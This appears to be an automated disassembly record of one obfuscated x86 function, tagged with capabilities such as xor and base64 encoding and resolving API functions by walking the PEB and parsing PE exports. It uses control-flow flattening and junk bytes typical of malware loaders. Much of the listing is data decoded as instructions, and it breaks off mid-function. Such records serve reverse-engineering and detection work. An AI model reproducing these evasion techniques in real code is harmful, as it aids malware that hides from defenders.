Function at 0x687b18c4
Capabilities:
Encode data using base64
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xd4
mov dword [ebp - 0x18], 0xbf8c1
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0x13fea
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
sub eax, dword [ebp - 0x20]
sbb edx, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
xor eax, 0xec356
or eax, dword [ebp - 0x24]
je 0x687b8269
mov edx, 0xec356
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x687b8cc6
mov eax, dword [ebp - 0x28]
xor eax, 0xdad86
or eax, dword [ebp - 0x24]
je 0x687b2509
mov edx, 0xdad86
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x687b8cc6
mov eax, dword [ebp - 0x28]
xor eax, 0xab8d7
or eax, dword [ebp - 0x24]
je 0x687b8cc9
mov edx, 0xab8d7
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x687b8cc6
mov eax, dword [ebp - 0x28]
xor eax, 0xab711
or eax, dword [ebp - 0x24]
je 0x687b6349
mov edx, 0xab711
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x687b8cc6
mov eax, dword [ebp - 0x28]
xor eax, 0x94e81
or eax, dword [ebp - 0x24]
je 0x687b7809
mov edx, 0x94e81
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x687b8cc6
mov eax, dword [ebp - 0x28]
xor eax, 0x70a49
or eax, dword [ebp - 0x24]
je 0x687b58e9
mov edx, 0x70a49
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x687b8cc6
mov eax, dword [ebp - 0x28]
xor eax, 0x5f487
or eax, dword [ebp - 0x24]
je 0x687b4e89
mov edx, 0x5f487
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x687b8cc6
mov eax, dword [ebp - 0x28]
xor eax, 0x5aedf
or eax, dword [ebp - 0x24]
je 0x687b1aa9
mov edx, 0x5aedf
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x687b8cc6
mov eax, dword [ebp - 0x28]
xor eax, 0x57f67
or eax, dword [ebp - 0x24]
je 0x687b6da9
mov edx, 0x57f67
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x687b8cc6
mov eax, dword [ebp - 0x28]
xor eax, 0x3499a
or eax, dword [ebp - 0x24]
je 0x687b2f69
mov edx, 0x3499a
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x687b8cc6
mov eax, dword [ebp - 0x28]
xor eax, 0xf87b
or eax, dword [ebp - 0x24]
je 0x687b4429
mov eax, dword [ebp - 0x28]
xor eax, 0x260a4
or eax, dword [ebp - 0x24]
je 0x687b39c9
jmp 0x687b8cc6
loope 0x687b1ae6
mov dl, 0x54
xchg edx, eax
xchg esp, eax
jg 0x687b1ab7
push ebp
leave
pop ebx
scasd eax, dword es:[edi]
clc
sub cx, word [ebx + edx]
sub ecx, dword [ebx + edx]
idiv dword cs:[edx]
or al, 0x48
jns 0x687b1ad4
das
cmpsb byte [esi], byte es:[edi]
outsb dx, byte [esi]
ret
lodsd eax, dword [esi]
push es
pop ebx
ficom word [edx]
stosd dword es:[edi], eax
sub eax, dword [ebp - 0x5a424e6b]
salc
adc eax, 0x80d07470
xor al, 0x88
movsb byte es:[edi], byte [esi]
add eax, 0xdbb2e06e
mov ch, 0x46
scasb al, byte es:[edi]
xchg edi, eax
retf
sub byte [esi + 0x7a], dh
retf 0x6127
inc edi
imul esi, dword [eax - 0x48e7c740], 0x98747beb
pop ds
rol dword [ecx + 0x17], cl
imul esp, ebx, 0x1d
cmp eax, 0x3e228b4
test eax, 0x34ab2da4
in eax, 0x40
mov eax, 0x43c77ab1
lodsb al, byte [esi]
mov ecx, es
mov edi, dword [esi]
xor eax, 0xb66cf185
invalid
sub dword [edx], 0xffffffa2
pop edi
test eax, ecx
imul edi, dword [eax], 0x8bcb3a7
imul ebp, edi, 0xcba6bf2c
ja 0x687b2f1a
invalid
sbb dl, byte [eax + 0x114bd703]
out dx, al
push ds
insd dword es:[edi], dx
insd dword es:[edi], dx
cmpsd dword [esi], dword es:[edi]
jge 0x687b3a03
pop esi
cld
jno 0x687b39d3
adc eax, 0x4206213b
inc eax
aaa
inc ecx
mov al, byte [0xfe61f00e]
invalid
shr dword [eax], 0x7b
sahf
push ebp
rol byte [ebp + 0x7d09256f], 0x1b
shr dword [ecx], cl
lodsd eax, dword [esi]
mov eax, 0xba74f8b7
xor al, 0xc3
in eax, 0xcb
ret
retf 0x5b92
pop ebp
xchg edi, eax
movsb byte es:[edi], byte [esi]
pop ecx
and ch, dh
outsb dx, byte [esi]
rcl dword [edx + 0x15fed233], cl
aas
nop
js 0x687b4407
dec esi
jae 0x687b4450
xor ebp, dword ss:[edi + 0x77e34941]
mov ch, 0x10
xor eax, 0x6605a98f
mov byte [0xaa9e1d6d], al
in eax, 0x19
or esp, dword [eax + 0x33eac5b8]
mov ebp, dword [ebx]
cmpsb byte [esi], byte es:[edi]
xor eax, ecx
cwde
out 2, al
xchg ebp, eax
xchg esi, eax
pop ebx
insb byte es:[edi], dx
inc esi
invalid
add al, 0xbb
je 0x687b4ed1
lea ebp, [ebp + 0x4c25a418]
invalid
xor eax, 0xf6530aa3
push esp
dec ecx
jle 0x687b4f40
jg 0x687b4ed1
add al, 0xb2
das
inc ebx
jg 0x687b4ecc
sbb al, 0xdd
pcmpgtb mm5, qword [0xf0fc442f]
sbb eax, 0x9445ecea
jnp 0x687b4f6b
mov esi, 0x68994008
enter 0x7228, 3
pop esi
iretd
arpl word [edx - 0x77], dx
invalid
add byte [esi], bl
dec esi
invalid
inc esi
add al, 0xf
push eax
adc esp, dword [edi + 0x33]
pop ebp
mov edx, ds
sub esi, dword [ecx]
lodsd eax, dword [esi]
push eax
imul byte [ebx - 0x76]
mov eax, dword [0x76d0be21]
lodsd eax, dword [esi]
dec edi
out 0xd1, al
sub ch, byte [edx - 0x63]
invalid
stc
add ecx, dword [eax]
jg 0x687b58b5
sar dword [eax], 1
in eax, dx
in al, dx
fistp dword [0x2e590e42]
scasd eax, dword es:[edi]
inc ecx
call 0xa0ebb530
cld
and bh, dh
jg 0x687b596d
xor al, 0x7b
movsb byte es:[edi], byte [esi]
cmpsb byte es:[esi], byte es:[edi]
add dword [eax], edi
iretd
inc ebp
push esp
add dword [edx - 0x63], eax
insd dword es:[edi], dx
dec ebp
in eax, 0x1a
dec esi
div dword [eax]
inc edx
and byte [edx + esi], 0x52
pushal
arpl word [ebp + 0x45], ax
fsub st(3)
sti
popal
push edx
mov ebp, 0x2f3fee44
mov ebp, 0x6df72434
scasd eax, dword es:[edi]
mov ebx, 0xa4dcdc80
cli
ret
mov esp, 0xda8af09c
ret
mov dword [0x844a296d], 0xe89f0193
inc ebp
lcall 0x7724, 0x7bcd2464
lea edx, [ebx - 0x255dc0dd]
invalid
aaa
sbb ecx, dword [ebp + 0x79add87b]
out dx, eax
push ebx
push 0xb7b3a9be
mov ebp, 0xb95f118e
lahf
mov bl, 0x83
invalid
add dh, byte [edx]
sub al, 0x93
xchg edi, eax
test bh, 0x24
inc eax
pop edi
push 0x47
adc al, 0xfc
mov al, byte [0x80d7078a]
adc bh, dh
out 0x2a, eax
mov edi, 0x85ab4699
xor byte [edx + 0x2e], 0x35
invalid
nop
jmp 0x687b8cca
nop
mov dword [ebp - 0xd4], 0x30
mov eax, dword [ebp - 0xd4]
mov eax, dword fs:[eax]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], 0x431cd
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x40], 0xb2b62
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x38]
sbb edx, dword [ebp - 0x34]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x48]
xor eax, 0xf0444
or eax, dword [ebp - 0x44]
je 0x687b90c2
mov edx, 0xf0444
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0xe2188
or eax, dword [ebp - 0x44]
je 0x687be3c2
mov edx, 0xe2188
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0xd8e0a
or eax, dword [ebp - 0x44]
je 0x687bc4a2
mov edx, 0xd8e0a
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0xcb9b0
or eax, dword [ebp - 0x44]
je 0x687c7502
mov edx, 0xcb9b0
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0xc7b22
or eax, dword [ebp - 0x44]
je 0x687c55e2
mov edx, 0xc7b22
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0xc458a
or eax, dword [ebp - 0x44]
je 0x687c02e2
mov edx, 0xc458a
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0xc3ba6
or eax, dword [ebp - 0x44]
je 0x687c7f62
mov edx, 0xc3ba6
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0xb84a8
or eax, dword [ebp - 0x44]
je 0x687bee22
mov edx, 0xb84a8
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0xb5e6c
or eax, dword [ebp - 0x44]
je 0x687c2c62
mov edx, 0xb5e6c
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0xace61
or eax, dword [ebp - 0x44]
je 0x687bafe2
mov edx, 0xace61
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x8eeed
or eax, dword [ebp - 0x44]
je 0x687ba582
mov edx, 0x8eeed
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x76c41
or eax, dword [ebp - 0x44]
je 0x687c6042
mov edx, 0x76c41
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x6f995
or eax, dword [ebp - 0x44]
je 0x687c89c2
mov edx, 0x6f995
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x65526
or eax, dword [ebp - 0x44]
je 0x687b9b22
mov edx, 0x65526
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x64b00
or eax, dword [ebp - 0x44]
je 0x687c4122
mov edx, 0x64b00
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x646b5
or eax, dword [ebp - 0x44]
je 0x687c6aa2
mov edx, 0x646b5
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x58dd9
or eax, dword [ebp - 0x44]
je 0x687c36c2
mov edx, 0x58dd9
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x492b4
or eax, dword [ebp - 0x44]
je 0x687c4b82
mov edx, 0x492b4
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x3a021
or eax, dword [ebp - 0x44]
je 0x687bba42
mov edx, 0x3a021
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x307d9
or eax, dword [ebp - 0x44]
je 0x687bf882
mov edx, 0x307d9
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x2da18
or eax, dword [ebp - 0x44]
je 0x687c0d42
mov edx, 0x2da18
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x2a262
or eax, dword [ebp - 0x44]
je 0x687bd962
mov edx, 0x2a262
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x1bc8b
or eax, dword [ebp - 0x44]
je 0x687c17a2
mov edx, 0x1bc8b
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x687c89bf
mov eax, dword [ebp - 0x48]
xor eax, 0x1e0e
or eax, dword [ebp - 0x44]
je 0x687bcf02
mov eax, dword [ebp - 0x48]
xor eax, 0x16021
or eax, dword [ebp - 0x44]
je 0x687c2202
jmp 0x687c89bf
clc
add byte [eax], al
wait
in eax, 0xf4
mov esp, 0x9ae30c6c
push eax
push 0x2a
pop ds
jns 0x687b90bf
adc byte [edi - 0x469f7b12], dh
inc edx
stc
xor al, 0x32
leave
mov ah, 0xc6
aad 0x3a
xor dword [eax + 0x53], edx
mov cl, 0x8c
test byte [eax + 0x54], 9
retf 0x5263
insd dword es:[edi], dx
lodsd eax, dword [esi]
push esp
push esp
xor ch, byte [edx + 5]
call 0x9f17cc4b
fdiv st(4), st(0)
shl ebx, cl
fmul dword [edi]
inc ecx
scasb al, byte es:[edi]
imul ebp, dword [eax], 0x7b5a3ed6
out 0x91, eax
sub dh, dl
pop edx
jnp 0x687b9b25
xchg ecx, eax
std
aas
outsb dx, byte [esi]
dec ecx
stosb byte es:[edi], al
pop ecx
xor dword [eax], 0xc5610efa
wait
jne 0x687b9b38
push 0x3b
adc al, dl
pop edx
adc al, 0x13
or dword [edx - 0x30], eax
rcr byte [edx + 0x15], cl
int 0xea
invalid
or eax, 0x86b321e3
salc
xor dword [edx], ebp
inc edx
test bl, ah
idiv byte [edi]
lea ebx, [ebp + 0x55]
pop esi
lodsd eax, dword [esi]
aam 0x69
sub eax, 0xa7aa9574
dec ebx
aam 0x51
test al, 0xb2
xlatb
pop esi
test eax, 0xd8140f50
or esp, dword [edx]
outsd dx, dword [esi]
push 0x13b2dd4a
xchg esp, eax
invalid
inc edi
add ebx, 8
sub eax, 0x5cd39a8b
pop ebp
sal byte [ebx + 0x1351c066], 0x2a
aad 0x6b
mov dh, 0x39
mov dword gs:[0x3ef75e69], eax
fdiv st(5), st(0)
and eax, 0x70618beb
sbb ebp, ebp
jecxz 0x687bb00f
mov bh, 0x4c
dec esp
arpl word [eax - 0x65], bx
jl 0x687bb00a
cli
inc ecx
leave
jecxz 0x687bb093
mov dl, 0x34
sti
pushfd
or byte [esi - 0x1d6b9bf6], al
shl byte [edi - 0x3f75f74f], cl
aas
mov dword [eax + 0x56], edi
aaa
arpl word [eax - 0x5f], di
hlt
cmp eax, 0x1398d049
mov bl, 0x14
and dh, byte [ecx - 0x4ff4a97e]
push eax
inc ecx
pop es
dec ebp
pop ebp
push ebp
dec esp
cld
mov al, byte fs:[0xbe7b285]
invalid
into
push ecx
jb 0x687bba8e
movsb byte es:[edi], byte [esi]
out dx, al
aad 6
mov edx, 0xdffd79ae
test al, 0x5b
mov byte [edi], bl
mov dword [0x2bc4f2e7], eax
cmp byte [eax + ebp*2 - 0x68], 0x34
inc ebp
outsd dx, dword [esi]
sub esi, esp
xor al, 7
clc
sbb al, 0x24
push 0xffffffffffffffc4
arpl word [edx + 0x6a193faf], si
aaa
call 0x49473e82
rol dword [esi], 1
cmpsb byte [esi], byte es:[edi]
mov esp, 0xa26ec0d7
lahf
adc edx, dword [ebp + 0x39]
push es
movsb byte es:[edi], byte [esi]
pushfd
ret 0x8f23
das
mov dh, 0xa0
invalid
cmp al, 0x95
lcall 0x2ff8, 0xf851f39d
mov eax, dword [0x95b94665]
lahf
call 0x487923d
and bh, byte [ecx]
mov eax, esi
movsb byte es:[edi], byte [esi]
lodsd eax, dword [esi]
pop ebp
inc eax
xor eax, dword [ebp + esi*4 + 0x6f]
adc al, 0x8f
xchg esi, eax
ror dword [esi + 0x38], 1
push ecx
push edi
and ch, byte [eax + edx*4 - 0x34]
jmp 0x687c89c3
shl dl, 0x6f
jns 0x687bc470
mov word [ebx + ebp*2 - 0x21], fs
mov bh, 0
adc dword [esi - 0x59], edi
invalid
pushfd
cmp dword [ecx + 0x33], esp
fsubr dword [ebx]
ret 0xd1f4
mov cl, 0xe9
pop ds
mov word [edi + ebx*8], fs
add byte [ebx - 0x3e], ch
xchg dword [eax - 0x4a39896c], edx
cmp eax, 0x4a9d2da1
in al, dx
jmp 0xba6be058
sub eax, 0x50245c8b
arpl word [ecx + 0x54], dx
invalid
or eax, 0xbd2acf42
movsd dword es:[edi], dword [esi]
push ds
sbb dword [0x9132bf89], 0x18aa61a6
cmp byte [ebp - 0x41], ah
xor cl, ch
jle 0x687bee52
sub eax, 0x6d68380d
pop esi
invalid
sbb al, 0x2b
push esi
adc ch, al
invalid
invalid
mov word [eax - 0x12], es
mul byte [esi - 0x53]
xchg dword [ebp - 0x5e0e8e74], edi
js 0x687c036d
int 0xb2
mov ah, 0x55
and al, 0xb4
push ebx
pop es
std
test eax, 0xf704fbad
fbstp tbyte [esi]
pop es
das
rol byte [edi - 0x1cb4ba9c], 0xf
invalid
lahf
pop edi
mov bl, dl
push ebp
in al, dx
xchg edi, eax
enter 0x4b60, 0xffffffffffffffa0
cmpsd dword [esi], dword es:[edi]
push esi
mov edx, 0x4f34754b
add edi, dword [0xac8b02dd]
add al, 0xfa
in eax, dx
sub al, 0xbf
out 0x20, eax
mov byte [0x4619c0e4], al
out dx, ax
invalid
invalid
inc esi
stosb byte es:[edi], al
sbb cl, byte [0x897ed2f6]
mov word [ecx - 0x71], gs
fstp xword [edi]
mov ebp, gs
sti
sti
push ebp
pushfd
dec esi
mov dh, 0x2f
imul ebp
inc esp
jg 0x687c17cc
fmul dword [edx + 6]
push ss
fcmove st(0), st(5)
inc eax
dec ebp
add ch, byte [ebp - 0x3a914451]
jne 0x687c17f7
sub ch, ch
in eax, dx
sbb eax, 0xf8ac66cc
shl edx, 3
xchg esi, eax
mov ch, pe_nt_image_headers32
sbb byte [edx + 0x34], dh
mov dh, 0xac
sbb ebp, dword [edx + ebx*4 + 0x3d]
xchg byte [esi + 0x173f2d1a], bh
mov dh, 0x33
invalid
call 0xb9af2dd8
movsb byte es:[edi], byte [esi]
pushal
cmp dl, byte [edx]
xchg ebx, eax
push 0x95bef602
xchg esp, eax
push esp
or esi, esi
inc edi
or bh, byte [edx - 0x5f]
pushal
mov edx, 0xb5a3e511
int3
test byte [esi + 0x2f], al
inc edi
cli
dec ecx
lds edx, [esi + 0x7d865bfd]
cmpsb byte [esi], byte es:[edi]
invalid
into
scasd eax, dword es:[edi]
hlt
add byte [ebp - 0x18], cl
pop ds
push edi
sal dl, 0xcf
stosd dword es:[edi], eax
and al, 0xa4
inc eax
cdq
test eax, 0xe87e6201
jne 0x687c2c0a
outsd dx, dword [esi]
pop ebx
lodsd eax, dword [esi]
shl dword [edx], cl
salc
and byte [eax + 0x43ab1856], 0x81
add cl, byte fs:[edx - 0x1d]
adc eax, 0xc8096168
jno 0x687c2d0c
mov dword [0x28781ac3], eax
adc al, 0xfc
sahf
out 0xcf, al
in al, dx
sub byte [esi + 0x6e], bh
cmp byte [esi + eax*4 + 0x7d2c3a58], bl
cmp esp, dword [edi + edi]
xchg edx, eax
mov byte [0x72ef1c17], al
cmp al, 0xeb
mov dh, 0x66
or byte [eax + 0x271138e2], 0x4b
sar al, 0xa4
bound esi, qword [ecx]
push esp
dec ecx
add al, 0xa3
mov al, byte [0xfb404f38]
push es
setne byte [ecx + 0x3f]
jno 0x687c2d0a
cdq
pushfd
jmp 0x687c2ce5
push ss
or ch, bl
fsub qword [ebp - 0x78]
push ebp
mov dl, 0x7b
sub eax, 0xfc13e25a
jnp 0x687c2d14
pop edx
loop 0x687c2cfd
cld
jns 0x687c2d52
aaa
jecxz 0x687c2cf6
aas
dec ebx
pushfd
in al, dx
retf 0xe880
call 0x320e11c3
push ebx
pop ecx
pop ecx
add byte [esp - 0x36], dl
push ss
mov al, 0xea
cmc
and byte [esi - 0x46], bl
or ah, dl
shl ecx, 1
mov ebx, 0xfc825d9a
jnp 0x687c2d20
loop 0x687c2cdd
loope 0x687c2cc9
lcall 0x6f0c, 0x7bfc825d
outsd dx, dword [esi]
mov al, byte [eax]
xchg dword [edi + 0x53f4f26d], edx
jne 0x687c2ce5
and byte [edi], ah
daa
mov cl, bl
jp 0x687c2d34
sbb eax, 0xfa4d02c
mov ch, byte [edx + edi*4]
and al, byte [eax + 0x2a1106a]
dec esp
jp 0x687c2d5e
mov dword [0xfd169c64], eax
and eax, 0x393f7f76
jp 0x687c2d57
dec eax
xor edi, ebp
inc edx
scasb al, byte es:[edi]
cmpsb byte [esi], byte es:[edi]
sub byte [esi], cl
mov bl, 0x7c
int1
mov eax, dword [0xcc90277c]
jno 0x687c2d8e
int3
dec ebp
fcom dword [edx + 0x26]
mov esi, 0x2935fb85
push edx
mov esi, 0x2935fb85
jo 0x687c2d83
push ss
or byte [ecx - 0x6f3b6ca4], 0x3a
das
mov cl, 0xf2
pop esi
dec ebx
invalid
push es
pop edi
mov ch, 0x5a
cmp eax, 0x986d5fc8
jle 0x687c2d9b
mov esi, 0xef2976a3
cmpsd dword [esi], dword es:[edi]
in eax, 0xd4
cmpsd dword [esi], dword es:[edi]
out 0x29, al
aaa
mov edi, 0xe366a61c
add bh, al
cmp esp, dword [edi]
mov al, 0xdb
jmp 0xb380ed0f
xor eax, 0xce0ec305
push edx
int1
out 3, eax
sub byte [0xc25bc143], bh
and cl, cl
mov word [edi + 1], fs
invalid
dec edi
enter 0x122, 0xffffffffffffffd4
jo 0x687c3687
invalid
push 0x11397c58
and dword [ecx + edi - 0x2a], esp
jge 0x687c4159
cli
push edx
and edx, edx
test dword [ecx + 0x6d], 0x6389b073
pop edi
int3
test esp, eax
cmp ah, byte [esi + 0x1cf4c6d5]
mov bl, 0x44
rol byte [ebx + 0x6c], cl
adc dword [ecx], eax
in eax, dx
inc esi
in eax, 0x8e
or dword [edx + 0x58], esp
mov ebp, 0x5a6187d2
mov edx, 0x6ce16e86
imul eax, dword [edi + 0x5077569b], 0xffffff8c
bound ebx, qword [eax]
xchg edi, eax
cld
push ss
mov ecx, 0x72d63bf8
dec ebx
sbb byte [edi - 0x746e904], dl
cmp edx, esi
jb 0x687c41d6
dec eax
cmp ebx, ebx
sbb dword [eax + 0x1c], ecx
aaa
xchg ebx, eax
out 0x29, eax
insb byte es:[edi], dx
sar dword [eax], 0xa7
lcall 0x97d, 0xf8c80f59
xor byte [ebx + 0x1031d7a9], bl
sbb ecx, edi
stosd dword es:[edi], eax
mov byte [0x17f177fc], al
jg 0x687c4181
mov esp, 0x6a5f5be2
retf
idiv dword [ecx]
cld
cli
cdq
arpl word [edi + 0x46], bx
xchg edi, eax
pop esp
je 0x687c4216
xor al, 0xd0
sal esp, cl
sal byte [esi], 1
sal esp, cl
iretd
or eax, 0x8817c666
jge 0x687c422c
rcl dword [eax + 0x23], 0xa5
out 0xd0, eax
stosd dword es:[edi], eax
sub bh, al
outsb dx, byte [esi]
scasb al, byte es:[edi]
inc edx
clc
mov esp, 0x5b1b3d2a
and dword [esi], esi
sub bh, byte [0x36215b1b]
jp 0x687c41e1
retf 0x8047
push esi
pop dword [esi - 0x517075e2]
sti
test dword [eax + 0x5d60e5], ecx
sti
mov bh, 6
sub dl, ah
aas
retf
mov eax, 0x70d392cd
insd dword es:[edi], dx
ljmp 0xfe15
adc eax, 0x50dfaefe
mov ebx, 0x45e2b2f7
sub byte [ebp + 0x1edfd6c8], al
inc esi
adc dword [ecx], ecx
dec esp
xchg byte [0x26fb00e4], al
mov ebp, 0x839064e8
push ebx
arpl word [ecx - 0x63], bp
adc eax, 0x5a4742b9
scasd eax, dword es:[edi]
std
in al, 0xe6
adc ah, al
adc dword [ebp + 0x3e], ecx
add ebp, edi
jp 0x687c5561
test al, bh
adc edi, dword [eax]
sbb eax, 0x3780a02a
cmp byte [0x3780a02a], bl
invalid
jae 0x687c556c
pushal
mov dl, 0xf8
test byte [edi - 0x6f140bcc], ah
int3
jecxz 0x687c55e8
test byte [edx + 1], al
wait
and ch, byte [edi + 0x1e6102d9]
mov byte [ecx + esi], ah
jg 0x687c55a4
xor dword [edi - 0x4f], edi
cmp dh, 0x80
nop
shr byte [eax - 0x66], cl
cwde
mov dword [0x5731baae], eax
cmp eax, 0xa6dcfd95
and al, 0xba
lds ebx, [esi]
xchg ebp, eax
test eax, 0xcf0b3169
aad 0x3e
sbb dword [eax], ebp
bnd js 0x687c566f
mov ecx, 0x80534f3
pop word es:[ebx]
push eax
lcall 0x54b9, 0x54c17092
or al, 0xd9
jge 0x687c55f0
jl 0x687c55cf
retf 0x575b
in eax, dx
add dword [eax + 0x72], ebx
shr dword [edx], 0xfc
daa
pop esi
lds edx, [edi + 0x3b]
test al, 0xc6
invalid
imul eax, dword [esi + 0x5ad3565f], 0x65
inc ecx
sbb byte [edx + 0x3d], al
xchg esp, eax
test edi, esp
mov dl, 0x40
out 0x2c, eax
jbe 0x687c604b
fild word [ecx]
cmp ah, byte [esi + 0xa830eea]
loope 0x687c609a
in eax, dx
inc ebp
mov cl, 0x55
sub byte [edi + 0x4c603a69], ch
xor byte [edx], bh
shl byte [ebx], cl
je 0x687c60b5
mov bh, byte [edx + edx*4 + 0x63]
xchg ebx, eax
cli
cmp byte [ecx - 0x7c197b4f], ch
in eax, 0xd8
mov byte [0xa0dce90c], al
push ecx
xchg esp, eax
je 0x687c60ae
adc al, 0x49
mov ebp, 0x9a6123d0
wait
in al, dx
jmp 0x687c6085
mov dh, 0xb0
sub edi, dword [ecx - 0x245a4b27]
aaa
mov dl, 0x7b
mov dword [eax - 0x11d3a674], ebp
imul eax, eax, 0x29
inc ebx
xlatb
sub dword [ebx - 0x29], eax
dec ecx
int1
mov byte [0x83b3a813], al
inc esp
push ss
invalid
test al, 0xb3
add dword [esi + edx - 0x21], 0xffffffca
mov dh, 0x85
sbb al, 0xf5
fild word [ecx - 0x10ffa87d]
invalid
fadd st(5), st(0)
les edx, [edi]
adc edi, dword [ecx + 0x30]
cmp dh, ah
mov dl, 0x3c
invalid
jecxz 0x687c7504
lcall 0x1a1a, 0x29c820ec
mov ecx, 0xd889aa2c
or edi, ebp
aas
insd dword es:[edi], dx
pushfd
invalid
test eax, 0x5ce0844c
retf 0xa144
nop
jmp 0x687c89c3
nop
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x58], 0x2e0dc
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x60], 0x35765
mov dword [ebp - 0x5c], 0
mov ecx, dword [ebp - 0x58]
mov ebx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x68]
xor eax, 0xcf0c2
or eax, dword [ebp - 0x64]
je 0x687cca60
mov edx, 0xcf0c2
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x687d1d5d
mov eax, dword [ebp - 0x68]
xor eax, 0xc360e
or eax, dword [ebp - 0x64]
je 0x687cf3e0
mov edx, 0xc360e
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x687d1d5d
mov eax, dword [ebp - 0x68]
xor eax, 0xbbd8c
or eax, dword [ebp - 0x64]
je 0x687ca0e0
mov edx, 0xbbd8c
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x687d1d5d
mov eax, dword [ebp - 0x68]
xor eax, 0xac663
or eax, dword [ebp - 0x64]
je 0x687c8c20
mov edx, 0xac663
mov eax, 0
